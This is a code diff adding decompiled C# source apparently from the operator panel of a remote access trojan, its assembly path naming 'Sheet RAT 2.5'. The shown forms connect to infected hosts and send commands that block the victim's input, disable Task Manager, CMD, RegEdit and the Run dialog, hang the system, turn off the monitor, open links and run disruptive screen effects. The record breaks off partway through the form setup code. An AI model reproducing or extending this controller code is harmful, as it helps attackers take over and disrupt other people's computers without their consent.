AnchorStyles.Top | AnchorStyles.Left | AnchorStyles.Right; + this.IP.CustomButton.Image = (Image) null; + this.IP.CustomButton.Location = new Point(469, 1); + this.IP.CustomButton.Name = ""; + this.IP.CustomButton.Size = new Size(23, 23); + this.IP.CustomButton.Style = MetroColorStyle.Blue; + this.IP.CustomButton.TabIndex = 1; + this.IP.CustomButton.Theme = MetroThemeStyle.Light; + this.IP.CustomButton.UseSelectable = true; + this.IP.CustomButton.Visible = false; + this.IP.Lines = new string[1]{ "127.0.0.1:5000" }; + this.IP.Location = new Point(23, 63 /*0x3F*/); + this.IP.MaxLength = (int) short.MaxValue; + this.IP.Name = "IP"; + this.IP.PasswordChar = char.MinValue; + this.IP.ScrollBars = ScrollBars.None; + this.IP.SelectedText = ""; + this.IP.SelectionLength = 0; + this.IP.SelectionStart = 0; + this.IP.ShortcutsEnabled = true; + this.IP.Size = new Size(493, 25); + this.IP.Style = MetroColorStyle.Lime; + this.IP.TabIndex = 19; + this.IP.Text = "127.0.0.1:5000"; + this.IP.Theme = MetroThemeStyle.Dark; + this.IP.UseSelectable = true; + this.IP.UseStyleColors = true; + this.IP.WaterMarkColor = Color.FromArgb(109, 109, 109); + this.IP.WaterMarkFont = new Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel); + this.GROUP.Anchor = AnchorStyles.Top | AnchorStyles.Left | AnchorStyles.Right; + this.GROUP.CustomButton.Image = (Image) null; + this.GROUP.CustomButton.Location = new Point(469, 1); + this.GROUP.CustomButton.Name = ""; + this.GROUP.CustomButton.Size = new Size(23, 23); + this.GROUP.CustomButton.Style = MetroColorStyle.Blue; + this.GROUP.CustomButton.TabIndex = 1; + this.GROUP.CustomButton.Theme = MetroThemeStyle.Light; + this.GROUP.CustomButton.UseSelectable = true; + this.GROUP.CustomButton.Visible = false; + this.GROUP.Lines = new string[1]{ "Freend_%GROUP%" }; + this.GROUP.Location = new Point(23, 94); + this.GROUP.MaxLength = (int) short.MaxValue; + this.GROUP.Name = "GROUP"; + this.GROUP.PasswordChar = char.MinValue; + this.GROUP.ScrollBars = ScrollBars.None; + this.GROUP.SelectedText = ""; + this.GROUP.SelectionLength = 0; + this.GROUP.SelectionStart = 0; + this.GROUP.ShortcutsEnabled = true; + this.GROUP.Size = new Size(493, 25); + this.GROUP.Style = MetroColorStyle.Lime; + this.GROUP.TabIndex = 20; + this.GROUP.Text = "Freend_%GROUP%"; + this.GROUP.Theme = MetroThemeStyle.Dark; + this.GROUP.UseSelectable = true; + this.GROUP.UseStyleColors = true; + this.GROUP.WaterMarkColor = Color.FromArgb(109, 109, 109); + this.GROUP.WaterMarkFont = new Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel); + this.button2.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.button2.Location = new Point(22, 124); + this.button2.Margin = new Padding(2); + this.button2.Name = "button2"; + this.button2.Size = new Size(85, 25); + this.button2.Style = MetroColorStyle.Lime; + this.button2.TabIndex = 30; + this.button2.Text = "Connect"; + this.button2.Theme = MetroThemeStyle.Dark; + this.button2.UseCustomForeColor = true; + this.button2.UseSelectable = true; + this.button2.Click += new EventHandler(this.button2_Click); + this.button3.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.button3.Location = new Point(111, 124); + this.button3.Margin = new Padding(2); + this.button3.Name = "button3"; + this.button3.Size = new Size(56, 25); + this.button3.Style = MetroColorStyle.Lime; + this.button3.TabIndex = 29; + this.button3.Text = "Cancel"; + this.button3.Theme = MetroThemeStyle.Dark; + this.button3.UseCustomForeColor = true; + this.button3.UseSelectable = true; + this.button3.Click += new EventHandler(this.button3_Click); + this.AutoScaleDimensions = new SizeF(6f, 13f); + this.AutoScaleMode = AutoScaleMode.Font; + this.ClientSize = new Size(539, 169); + this.Controls.Add((Control) this.button2); + this.Controls.Add((Control) this.button3); + this.Controls.Add((Control) this.GROUP); + this.Controls.Add((Control) this.IP); + this.Name = nameof (FormFreendConnect); + this.Style = MetroColorStyle.Lime; + this.Text = "Connect add"; + this.TextAlign = MetroFormTextAlign.Center; + this.Theme = MetroThemeStyle.Dark; + this.Load += new EventHandler(this.FormFreendConnect_Load); + this.ResumeLayout(false); + } +} +} diff --git a/Server/Server/Forms/FormFreendConnect.resx b/Server/Server/Forms/FormFreendConnect.resx new file mode 100644 index 0000000..c7e0d4b --- /dev/null +++ b/Server/Server/Forms/FormFreendConnect.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/Server/Server/Forms/FormFun.cs b/Server/Server/Forms/FormFun.cs new file mode 100644 index 0000000..bc7323f --- /dev/null +++ b/Server/Server/Forms/FormFun.cs @@ -0,0 +1,2003 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Forms.FormFun +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using MetroFramework; +using MetroFramework.Controls; +using MetroFramework.Forms; +using Server.Connection; +using Server.Helper.Configs.Themes; +using System; +using System.Windows.Forms; +using System.ComponentModel; +using System.Drawing; +using System.IO; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Forms { + +public class FormFun : MetroForm +{ + public Clients client; + public Clients Plugin; + private IContainer components; + public Timer timer1; + private MetroTextBox metroTextBox2; + public MetroButton metroButton1; + public MetroButton metroButton2; + public MetroButton metroButton3; + public MetroButton metroButton4; + public MetroButton metroButton5; + private MetroLabel metroLabel2; + private MetroLabel metroLabel1; + public MetroButton metroButton6; + public MetroButton metroButton7; + private MetroLabel metroLabel3; + public MetroButton metroButton8; + public MetroButton metroButton9; + private MetroLabel metroLabel4; + public MetroButton metroButton10; + public MetroButton metroButton11; + private MetroLabel metroLabel5; + public MetroButton metroButton12; + public MetroButton metroButton13; + private MetroLabel metroLabel6; + public MetroButton metroButton14; + public MetroButton metroButton15; + private MetroLabel metroLabel7; + public MetroButton metroButton16; + public MetroButton metroButton17; + private MetroLabel metroLabel8; + public MetroButton metroButton18; + public MetroButton metroButton19; + private MetroLabel metroLabel9; + public MetroButton metroButton20; + public MetroButton metroButton21; + private MetroLabel metroLabel10; + public MetroButton metroButton22; + public MetroButton metroButton23; + private MetroLabel metroLabel11; + public MetroButton metroButton24; + public MetroButton metroButton25; + private MetroLabel metroLabel12; + public MetroButton metroButton26; + public MetroButton metroButton27; + private MetroComboBox metroComboBox3; + private MetroLabel metroLabel13; + public MetroButton metroButton28; + private MetroLabel metroLabel14; + private MetroLabel metroLabel15; + public MetroButton metroButton29; + private MetroLabel metroLabel16; + private MetroLabel metroLabel17; + public MetroButton metroButton30; + private MetroLabel metroLabel18; + public MetroButton metroButton31; + private MetroLabel metroLabel19; + public MetroButton metroButton33; + private MetroLabel metroLabel20; + private MetroLabel metroLabel21; + public MetroButton metroButton35; + private MetroLabel metroLabel22; + public MetroButton metroButton37; + private MetroLabel metroLabel23; + public MetroButton metroButton39; + private MetroLabel metroLabel24; + public MetroButton metroButton41; + private MetroLabel metroLabel25; + public MetroButton metroButton43; + private MetroLabel metroLabel26; + public MetroButton metroButton45; + private MetroLabel metroLabel27; + public MetroButton metroButton47; + private MetroLabel metroLabel29; + public MetroButton metroButton51; + private MetroLabel metroLabel30; + public MetroButton metroButton53; + private MetroLabel metroLabel31; + public MetroButton metroButton55; + private MetroLabel metroLabel32; + public MetroButton metroButton57; + private MetroLabel metroLabel33; + public MetroButton metroButton59; + private MetroLabel metroLabel28; + public MetroButton metroButton49; + private MetroLabel metroLabel34; + public MetroButton metroButton61; + private MetroLabel metroLabel35; + public MetroButton metroButton63; + private MetroLabel metroLabel36; + public MetroButton metroButton64; + public MetroButton metroButton65; + public MetroButton metroButton66; + public MetroButton metroButton67; + public MetroButton metroButton68; + public MetroButton metroButton69; + public MetroButton metroButton70; + public MetroButton metroButton71; + private MetroLabel metroLabel37; + public MetroButton metroButton73; + private MetroLabel metroLabel38; + public MetroButton metroButton75; + + public FormFun() => this.InitializeComponent(); + + private void FormTaskMgr_Load(object sender, EventArgs e) + { + this.FormClosing += (FormClosingEventHandler) ((t, p) => + { + if (this.Plugin == null) + return; + this.Plugin.Disconnected(); + }); + if (Customs.customs.Style != MetroColorStyle.Lime) + { + this.Style = Customs.customs.Style; + this.metroLabel1.Style = Customs.customs.Style; + this.metroLabel2.Style = Customs.customs.Style; + this.metroLabel3.Style = Customs.customs.Style; + this.metroLabel4.Style = Customs.customs.Style; + this.metroLabel5.Style = Customs.customs.Style; + this.metroLabel6.Style = Customs.customs.Style; + this.metroLabel7.Style = Customs.customs.Style; + this.metroLabel8.Style = Customs.customs.Style; + this.metroLabel9.Style = Customs.customs.Style; + this.metroLabel10.Style = Customs.customs.Style; + this.metroLabel11.Style = Customs.customs.Style; + this.metroLabel12.Style = Customs.customs.Style; + this.metroLabel13.Style = Customs.customs.Style; + this.metroLabel14.Style = Customs.customs.Style; + this.metroLabel15.Style = Customs.customs.Style; + this.metroLabel16.Style = Customs.customs.Style; + this.metroLabel17.Style = Customs.customs.Style; + this.metroLabel18.Style = Customs.customs.Style; + this.metroLabel19.Style = Customs.customs.Style; + this.metroLabel20.Style = Customs.customs.Style; + this.metroLabel21.Style = Customs.customs.Style; + this.metroLabel22.Style = Customs.customs.Style; + this.metroLabel23.Style = Customs.customs.Style; + this.metroLabel24.Style = Customs.customs.Style; + this.metroLabel25.Style = Customs.customs.Style; + this.metroLabel26.Style = Customs.customs.Style; + this.metroLabel27.Style = Customs.customs.Style; + this.metroLabel28.Style = Customs.customs.Style; + this.metroLabel29.Style = Customs.customs.Style; + this.metroLabel30.Style = Customs.customs.Style; + this.metroLabel31.Style = Customs.customs.Style; + this.metroLabel32.Style = Customs.customs.Style; + this.metroLabel33.Style = Customs.customs.Style; + this.metroLabel34.Style = Customs.customs.Style; + this.metroLabel35.Style = Customs.customs.Style; + this.metroLabel36.Style = Customs.customs.Style; + this.metroLabel37.Style = Customs.customs.Style; + this.metroLabel38.Style = Customs.customs.Style; + this.metroComboBox3.Style = Customs.customs.Style; + this.metroTextBox2.Style = Customs.customs.Style; + this.metroButton1.Style = Customs.customs.Style; + this.metroButton2.Style = Customs.customs.Style; + this.metroButton3.Style = Customs.customs.Style; + this.metroButton4.Style = Customs.customs.Style; + this.metroButton5.Style = Customs.customs.Style; + this.metroButton6.Style = Customs.customs.Style; + this.metroButton7.Style = Customs.customs.Style; + this.metroButton8.Style = Customs.customs.Style; + this.metroButton9.Style = Customs.customs.Style; + this.metroButton10.Style = Customs.customs.Style; + this.metroButton11.Style = Customs.customs.Style; + this.metroButton12.Style = Customs.customs.Style; + this.metroButton13.Style = Customs.customs.Style; + this.metroButton14.Style = Customs.customs.Style; + this.metroButton15.Style = Customs.customs.Style; + this.metroButton16.Style = Customs.customs.Style; + this.metroButton17.Style = Customs.customs.Style; + this.metroButton18.Style = Customs.customs.Style; + this.metroButton19.Style = Customs.customs.Style; + this.metroButton20.Style = Customs.customs.Style; + this.metroButton21.Style = Customs.customs.Style; + this.metroButton22.Style = Customs.customs.Style; + this.metroButton23.Style = Customs.customs.Style; + this.metroButton24.Style = Customs.customs.Style; + this.metroButton25.Style = Customs.customs.Style; + this.metroButton26.Style = Customs.customs.Style; + this.metroButton27.Style = Customs.customs.Style; + this.metroButton28.Style = Customs.customs.Style; + this.metroButton29.Style = Customs.customs.Style; + this.metroButton30.Style = Customs.customs.Style; + this.metroButton31.Style = Customs.customs.Style; + this.metroButton33.Style = Customs.customs.Style; + this.metroButton35.Style = Customs.customs.Style; + this.metroButton37.Style = Customs.customs.Style; + this.metroButton39.Style = Customs.customs.Style; + this.metroButton41.Style = Customs.customs.Style; + this.metroButton43.Style = Customs.customs.Style; + this.metroButton45.Style = Customs.customs.Style; + this.metroButton47.Style = Customs.customs.Style; + this.metroButton49.Style = Customs.customs.Style; + this.metroButton51.Style = Customs.customs.Style; + this.metroButton53.Style = Customs.customs.Style; + this.metroButton55.Style = Customs.customs.Style; + this.metroButton57.Style = Customs.customs.Style; + this.metroButton59.Style = Customs.customs.Style; + this.metroButton61.Style = Customs.customs.Style; + this.metroButton63.Style = Customs.customs.Style; + this.metroButton65.Style = Customs.customs.Style; + this.metroButton67.Style = Customs.customs.Style; + this.metroButton69.Style = Customs.customs.Style; + this.metroButton71.Style = Customs.customs.Style; + this.metroButton73.Style = Customs.customs.Style; + this.metroButton75.Style = Customs.customs.Style; + this.metroButton64.Style = Customs.customs.Style; + this.metroButton66.Style = Customs.customs.Style; + this.metroButton68.Style = Customs.customs.Style; + this.metroButton70.Style = Customs.customs.Style; + this.metroButton71.Style = Customs.customs.Style; + } + if (Customs.customs.Theme != MetroThemeStyle.Dark) + { + this.Theme = Customs.customs.Theme; + this.metroLabel1.Theme = Customs.customs.Theme; + this.metroLabel2.Theme = Customs.customs.Theme; + this.metroLabel3.Theme = Customs.customs.Theme; + this.metroLabel4.Theme = Customs.customs.Theme; + this.metroLabel5.Theme = Customs.customs.Theme; + this.metroLabel6.Theme = Customs.customs.Theme; + this.metroLabel7.Theme = Customs.customs.Theme; + this.metroLabel8.Theme = Customs.customs.Theme; + this.metroLabel9.Theme = Customs.customs.Theme; + this.metroLabel10.Theme = Customs.customs.Theme; + this.metroLabel11.Theme = Customs.customs.Theme; + this.metroLabel12.Theme = Customs.customs.Theme; + this.metroLabel13.Theme = Customs.customs.Theme; + this.metroLabel14.Theme = Customs.customs.Theme; + this.metroLabel15.Theme = Customs.customs.Theme; + this.metroLabel16.Theme = Customs.customs.Theme; + this.metroLabel17.Theme = Customs.customs.Theme; + this.metroLabel18.Theme = Customs.customs.Theme; + this.metroLabel19.Theme = Customs.customs.Theme; + this.metroLabel20.Theme = Customs.customs.Theme; + this.metroLabel21.Theme = Customs.customs.Theme; + this.metroLabel22.Theme = Customs.customs.Theme; + this.metroLabel23.Theme = Customs.customs.Theme; + this.metroLabel24.Theme = Customs.customs.Theme; + this.metroLabel25.Theme = Customs.customs.Theme; + this.metroLabel26.Theme = Customs.customs.Theme; + this.metroLabel27.Theme = Customs.customs.Theme; + this.metroLabel28.Theme = Customs.customs.Theme; + this.metroLabel29.Theme = Customs.customs.Theme; + this.metroLabel30.Theme = Customs.customs.Theme; + this.metroLabel31.Theme = Customs.customs.Theme; + this.metroLabel32.Theme = Customs.customs.Theme; + this.metroLabel33.Theme = Customs.customs.Theme; + this.metroLabel34.Theme = Customs.customs.Theme; + this.metroLabel35.Theme = Customs.customs.Theme; + this.metroLabel36.Theme = Customs.customs.Theme; + this.metroLabel37.Theme = Customs.customs.Theme; + this.metroLabel38.Theme = Customs.customs.Theme; + this.metroComboBox3.Theme = Customs.customs.Theme; + this.metroTextBox2.Theme = Customs.customs.Theme; + this.metroButton1.Theme = Customs.customs.Theme; + this.metroButton2.Theme = Customs.customs.Theme; + this.metroButton3.Theme = Customs.customs.Theme; + this.metroButton4.Theme = Customs.customs.Theme; + this.metroButton5.Theme = Customs.customs.Theme; + this.metroButton6.Theme = Customs.customs.Theme; + this.metroButton7.Theme = Customs.customs.Theme; + this.metroButton8.Theme = Customs.customs.Theme; + this.metroButton9.Theme = Customs.customs.Theme; + this.metroButton10.Theme = Customs.customs.Theme; + this.metroButton11.Theme = Customs.customs.Theme; + this.metroButton12.Theme = Customs.customs.Theme; + this.metroButton13.Theme = Customs.customs.Theme; + this.metroButton14.Theme = Customs.customs.Theme; + this.metroButton15.Theme = Customs.customs.Theme; + this.metroButton16.Theme = Customs.customs.Theme; + this.metroButton17.Theme = Customs.customs.Theme; + this.metroButton18.Theme = Customs.customs.Theme; + this.metroButton19.Theme = Customs.customs.Theme; + this.metroButton20.Theme = Customs.customs.Theme; + this.metroButton21.Theme = Customs.customs.Theme; + this.metroButton22.Theme = Customs.customs.Theme; + this.metroButton23.Theme = Customs.customs.Theme; + this.metroButton24.Theme = Customs.customs.Theme; + this.metroButton25.Theme = Customs.customs.Theme; + this.metroButton26.Theme = Customs.customs.Theme; + this.metroButton27.Theme = Customs.customs.Theme; + this.metroButton28.Theme = Customs.customs.Theme; + this.metroButton29.Theme = Customs.customs.Theme; + this.metroButton30.Theme = Customs.customs.Theme; + this.metroButton31.Theme = Customs.customs.Theme; + this.metroButton33.Theme = Customs.customs.Theme; + this.metroButton35.Theme = Customs.customs.Theme; + this.metroButton37.Theme = Customs.customs.Theme; + this.metroButton39.Theme = Customs.customs.Theme; + this.metroButton41.Theme = Customs.customs.Theme; + this.metroButton43.Theme = Customs.customs.Theme; + this.metroButton45.Theme = Customs.customs.Theme; + this.metroButton47.Theme = Customs.customs.Theme; + this.metroButton49.Theme = Customs.customs.Theme; + this.metroButton51.Theme = Customs.customs.Theme; + this.metroButton53.Theme = Customs.customs.Theme; + this.metroButton55.Theme = Customs.customs.Theme; + this.metroButton57.Theme = Customs.customs.Theme; + this.metroButton59.Theme = Customs.customs.Theme; + this.metroButton61.Theme = Customs.customs.Theme; + this.metroButton63.Theme = Customs.customs.Theme; + this.metroButton65.Theme = Customs.customs.Theme; + this.metroButton67.Theme = Customs.customs.Theme; + this.metroButton69.Theme = Customs.customs.Theme; + this.metroButton71.Theme = Customs.customs.Theme; + this.metroButton73.Theme = Customs.customs.Theme; + this.metroButton75.Theme = Customs.customs.Theme; + this.metroButton64.Theme = Customs.customs.Theme; + this.metroButton66.Theme = Customs.customs.Theme; + this.metroButton68.Theme = Customs.customs.Theme; + this.metroButton70.Theme = Customs.customs.Theme; + this.metroButton71.Theme = Customs.customs.Theme; + } + this.Refresh(); + } + + private void timer1_Tick(object sender, EventArgs e) + { + if (this.client.Connect && this.Plugin.Connect) + return; + this.Close(); + } + + private void metroButton1_Click(object sender, EventArgs e) + { + this.Plugin.Send((object) ("OpenLink<@>" + this.metroTextBox2.Text)); + } + + private void metroButton2_Click(object sender, EventArgs e) => this.Plugin.Send((object) "Calc"); + + private void metroButton3_Click(object sender, EventArgs e) => this.Plugin.Send((object) "Cmd"); + + private void metroButton5_Click(object sender, EventArgs e) + { + this.Plugin.Send((object) "Taskbar+"); + } + + private void metroButton4_Click(object sender, EventArgs e) + { + this.Plugin.Send((object) "Taskbar-"); + } + + private void metroButton7_Click(object sender, EventArgs e) + { + this.Plugin.Send((object) "Desktop+"); + } + + private void metroButton6_Click(object sender, EventArgs e) + { + this.Plugin.Send((object) "Desktop-"); + } + + private void metroButton9_Click(object sender, EventArgs e) + { + this.Plugin.Send((object) "Clock+"); + } + + private void metroButton8_Click(object sender, EventArgs e) + { + this.Plugin.Send((object) "Clock-"); + } + + private void metroButton11_Click(object sender, EventArgs e) + { + this.Plugin.Send((object) "swapMouseButtons"); + } + + private void metroButton10_Click(object sender, EventArgs e) + { + this.Plugin.Send((object) "restoreMouseButtons"); + } + + private void metroButton19_Click(object sender, EventArgs e) + { + this.Plugin.Send((object) "holdMouse+"); + } + + private void metroButton18_Click(object sender, EventArgs e) + { + this.Plugin.Send((object) "holdMouse-"); + } + + private void metroButton17_Click(object sender, EventArgs e) + { + this.Plugin.Send((object) "blockInput+"); + } + + private void metroButton16_Click(object sender, EventArgs e) + { + this.Plugin.Send((object) "blockInput-"); + } + + private void metroButton13_Click(object sender, EventArgs e) + { + this.Plugin.Send((object) "openCD+"); + } + + private void metroButton12_Click(object sender, EventArgs e) + { + this.Plugin.Send((object) "openCD-"); + } + + private void metroButton15_Click(object sender, EventArgs e) + { + this.Plugin.Send((object) "blankscreen+"); + } + + private void metroButton14_Click(object sender, EventArgs e) + { + this.Plugin.Send((object) "blankscreen-"); + } + + private void metroButton29_Click(object sender, EventArgs e) + { + using (OpenFileDialog openFileDialog = new OpenFileDialog()) + { + openFileDialog.Filter = "(*.wav)|*.wav"; + if (openFileDialog.ShowDialog() == DialogResult.OK) + { + this.Plugin.Send((object) ("playAudio<@>" + Convert.ToBase64String(File.ReadAllBytes(openFileDialog.FileName)))); + } + else + { + int num = (int) MessageBox.Show("Please choose a wav file."); + } + } + } + + private void metroButton31_Click(object sender, EventArgs e) + { + this.Plugin.Send((object) "hangSystem"); + } + + private void metroButton30_Click(object sender, EventArgs e) + { + this.Plugin.Send((object) "monitorOff"); + } + + private void metroButton28_Click(object sender, EventArgs e) + { + if (this.metroComboBox3.SelectedIndex == -1) + return; + this.Plugin.Send((object) ("ScreenS<@>" + this.metroComboBox3.Text)); + } + + private void metroButton21_Click(object sender, EventArgs e) + { + this.Plugin.Send((object) "TaskMgr-"); + } + + private void metroButton20_Click(object sender, EventArgs e) + { + this.Plugin.Send((object) "TaskMgr+"); + } + + private void metroButton23_Click(object sender, EventArgs e) => this.Plugin.Send((object) "CMD-"); + + private void metroButton22_Click(object sender, EventArgs e) => this.Plugin.Send((object) "CMD+"); + + private void metroButton25_Click(object sender, EventArgs e) + { + this.Plugin.Send((object) "RegEdit-"); + } + + private void metroButton24_Click(object sender, EventArgs e) + { + this.Plugin.Send((object) "RegEdit+"); + } + + private void metroButton27_Click(object sender, EventArgs e) + { + this.Plugin.Send((object) "WinR-"); + } + + private void metroButton26_Click(object sender, EventArgs e) + { + this.Plugin.Send((object) "WinR+"); + } + + private void metroButton33_Click(object sender, EventArgs e) + { + if (this.metroButton33.Text == "Start") + { + this.Plugin.Send((object) "FuckScreen+"); + this.metroButton33.Text = "Stop"; + } + else + { + this.metroButton33.Text = "Start"; + this.Plugin.Send((object) "FuckScreen-"); + } + } + + private void metroButton35_Click(object sender, EventArgs e) + { + if (this.metroButton35.Text == "Start") + { + this.Plugin.Send((object) "InvertSmelt+"); + this.metroButton35.Text = "Stop"; + } + else + { + this.metroButton35.Text = "Start"; + this.Plugin.Send((object) "InvertSmelt-"); + } + } + + private void metroButton37_Click(object sender, EventArgs e) + { + if (this.metroButton37.Text == "Start") + { + this.Plugin.Send((object) "Wide+"); + this.metroButton37.Text = "Stop"; + } + else + { + this.metroButton37.Text = "Start"; + this.Plugin.Send((object) "Wide-"); + } + } + + private void metroButton41_Click(object sender, EventArgs e) + { + if (this.metroButton41.Text == "Start") + { + this.Plugin.Send((object) "Wef+"); + this.metroButton41.Text = "Stop"; + } + else + { + this.metroButton41.Text = "Start"; + this.Plugin.Send((object) "Wef-"); + } + } + + private void metroButton39_Click(object sender, EventArgs e) + { + if (this.metroButton39.Text == "Start") + { + this.Plugin.Send((object) "VerticalWide+"); + this.metroButton39.Text = "Stop"; + } + else + { + this.metroButton39.Text = "Start"; + this.Plugin.Send((object) "VerticalWide-"); + } + } + + private void metroButton38_Click(object sender, EventArgs e) + { + this.Plugin.Send((object) "VerticalWide-"); + } + + private void metroButton42_Click(object sender, EventArgs e) + { + this.Plugin.Send((object) "Train1-"); + } + + private void metroButton48_Click(object sender, EventArgs e) + { + this.Plugin.Send((object) "Triangles-"); + } + + private void metroButton47_Click(object sender, EventArgs e) + { + if (this.metroButton47.Text == "Start") + { + this.Plugin.Send((object) "Train3+"); + this.metroButton47.Text = "Stop"; + } + else + { + this.metroButton47.Text = "Start"; + this.Plugin.Send((object) "Train3-"); + } + } + + private void metroButton45_Click(object sender, EventArgs e) + { + if (this.metroButton45.Text == "Start") + { + this.Plugin.Send((object) "Train2+"); + this.metroButton45.Text = "Stop"; + } + else + { + this.metroButton45.Text = "Start"; + this.Plugin.Send((object) "Train2-"); + } + } + + private void metroButton43_Click(object sender, EventArgs e) + { + if (this.metroButton43.Text == "Start") + { + this.Plugin.Send((object) "Train1+"); + this.metroButton43.Text = "Stop"; + } + else + { + this.metroButton43.Text = "Start"; + this.Plugin.Send((object) "Train1-"); + } + } + + private void metroButton55_Click(object sender, EventArgs e) + { + if (this.metroButton55.Text == "Start") + { + this.Plugin.Send((object) "Sinewaves+"); + this.metroButton55.Text = "Stop"; + } + else + { + this.metroButton55.Text = "Start"; + this.Plugin.Send((object) "Sinewaves-"); + } + } + + private void metroButton53_Click(object sender, EventArgs e) + { + if (this.metroButton53.Text == "Start") + { + this.Plugin.Send((object) "Shake+"); + this.metroButton53.Text = "Stop"; + } + else + { + this.metroButton53.Text = "Start"; + this.Plugin.Send((object) "Shake-"); + } + } + + private void metroButton51_Click(object sender, EventArgs e) + { + if (this.metroButton51.Text == "Start") + { + this.Plugin.Send((object) "Setpixel+"); + this.metroButton51.Text = "Stop"; + } + else + { + this.metroButton51.Text = "Start"; + this.Plugin.Send((object) "Setpixel-"); + } + } + + private void metroButton59_Click(object sender, EventArgs e) + { + if (this.metroButton59.Text == "Start") + { + this.Plugin.Send((object) "Rgbtrain+"); + this.metroButton59.Text = "Stop"; + } + else + { + this.metroButton59.Text = "Start"; + this.Plugin.Send((object) "Rgbtrain-"); + } + } + + private void metroButton57_Click(object sender, EventArgs e) + { + if (this.metroButton57.Text == "Start") + { + this.Plugin.Send((object) "Smelt+"); + this.metroButton57.Text = "Stop"; + } + else + { + this.metroButton57.Text = "Start"; + this.Plugin.Send((object) "Smelt-"); + } + } + + private void metroButton63_Click(object sender, EventArgs e) + { + if (this.metroButton63.Text == "Start") + { + this.Plugin.Send((object) "Stripes+"); + this.metroButton63.Text = "Stop"; + } + else + { + this.metroButton63.Text = "Start"; + this.Plugin.Send((object) "Stripes-"); + } + } + + private void metroButton49_Click_1(object sender, EventArgs e) + { + if (this.metroButton49.Text == "Start") + { + this.Plugin.Send((object) "DumpVD+"); + this.metroButton49.Text = "Stop"; + } + else + { + this.metroButton49.Text = "Start"; + this.Plugin.Send((object) "DumpVD-"); + } + } + + private void metroButton61_Click(object sender, EventArgs e) + { + if (this.metroButton61.Text == "Start") + { + this.Plugin.Send((object) "Dark+"); + this.metroButton61.Text = "Stop"; + } + else + { + this.metroButton61.Text = "Start"; + this.Plugin.Send((object) "Dark-"); + } + } + + private void metroButton64_Click(object sender, EventArgs e) + { + this.Plugin.Send((object) "ScreenColor<@>Default"); + } + + private void metroButton71_Click(object sender, EventArgs e) + { + this.Plugin.Send((object) "ScreenColor<@>Dark"); + } + + private void metroButton65_Click(object sender, EventArgs e) + { + this.Plugin.Send((object) "ScreenColor<@>Red"); + } + + private void metroButton66_Click(object sender, EventArgs e) + { + this.Plugin.Send((object) "ScreenColor<@>Green"); + } + + private void metroButton67_Click(object sender, EventArgs e) + { + this.Plugin.Send((object) "ScreenColor<@>Blue"); + } + + private void metroButton70_Click(object sender, EventArgs e) + { + this.Plugin.Send((object) "ScreenColor<@>Purple"); + } + + private void metroButton69_Click(object sender, EventArgs e) + { + this.Plugin.Send((object) "ScreenColor<@>Yellow"); + } + + private void metroButton68_Click(object sender, EventArgs e) + { + this.Plugin.Send((object) "ScreenColor<@>Cyan"); + } + + private void metroButton75_Click(object sender, EventArgs e) + { + if (this.metroButton75.Text == "Start") + { + this.Plugin.Send((object) "InvertColor+"); + this.metroButton75.Text = "Stop"; + } + else + { + this.metroButton75.Text = "Start"; + this.Plugin.Send((object) "InvertColor-"); + } + } + + private void metroButton74_Click(object sender, EventArgs e) + { + this.Plugin.Send((object) "InvertColor-"); + } + + private void metroButton73_Click(object sender, EventArgs e) + { + if (this.metroButton73.Text == "Start") + { + this.Plugin.Send((object) "Tunnel+"); + this.metroButton73.Text = "Stop"; + } + else + { + this.metroButton73.Text = "Start"; + this.Plugin.Send((object) "Tunnel-"); + } + } + + protected override void Dispose(bool disposing) + { + if (disposing && this.components != null) + this.components.Dispose(); + base.Dispose(disposing); + } + + private void InitializeComponent() + { + this.components = (IContainer) new System.ComponentModel.Container(); + ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (FormFun)); + this.timer1 = new Timer(this.components); + this.metroTextBox2 = new MetroTextBox(); + this.metroButton1 = new MetroButton(); + this.metroButton2 = new MetroButton(); + this.metroButton3 = new MetroButton(); + this.metroButton4 = new MetroButton(); + this.metroButton5 = new MetroButton(); + this.metroLabel2 = new MetroLabel(); + this.metroLabel1 = new MetroLabel(); + this.metroButton6 = new MetroButton(); + this.metroButton7 = new MetroButton(); + this.metroLabel3 = new MetroLabel(); + this.metroButton8 = new MetroButton(); + this.metroButton9 = new MetroButton(); + this.metroLabel4 = new MetroLabel(); + this.metroButton10 = new MetroButton(); + this.metroButton11 = new MetroButton(); + this.metroLabel5 = new MetroLabel(); + this.metroButton12 = new MetroButton(); + this.metroButton13 = new MetroButton(); + this.metroLabel6 = new MetroLabel(); + this.metroButton14 = new MetroButton(); + this.metroButton15 = new MetroButton(); + this.metroLabel7 = new MetroLabel(); + this.metroButton16 = new MetroButton(); + this.metroButton17 = new MetroButton(); + this.metroLabel8 = new MetroLabel(); + this.metroButton18 = new MetroButton(); + this.metroButton19 = new MetroButton(); + this.metroLabel9 = new MetroLabel(); + this.metroButton20 = new MetroButton(); + this.metroButton21 = new MetroButton(); + this.metroLabel10 = new MetroLabel(); + this.metroButton22 = new MetroButton(); + this.metroButton23 = new MetroButton(); + this.metroLabel11 = new MetroLabel(); + this.metroButton24 = new MetroButton(); + this.metroButton25 = new MetroButton(); + this.metroLabel12 = new MetroLabel(); + this.metroButton26 = new MetroButton(); + this.metroButton27 = new MetroButton(); + this.metroComboBox3 = new MetroComboBox(); + this.metroLabel13 = new MetroLabel(); + this.metroButton28 = new MetroButton(); + this.metroLabel14 = new MetroLabel(); + this.metroLabel15 = new MetroLabel(); + this.metroButton29 = new MetroButton(); + this.metroLabel16 = new MetroLabel(); + this.metroLabel17 = new MetroLabel(); + this.metroButton30 = new MetroButton(); + 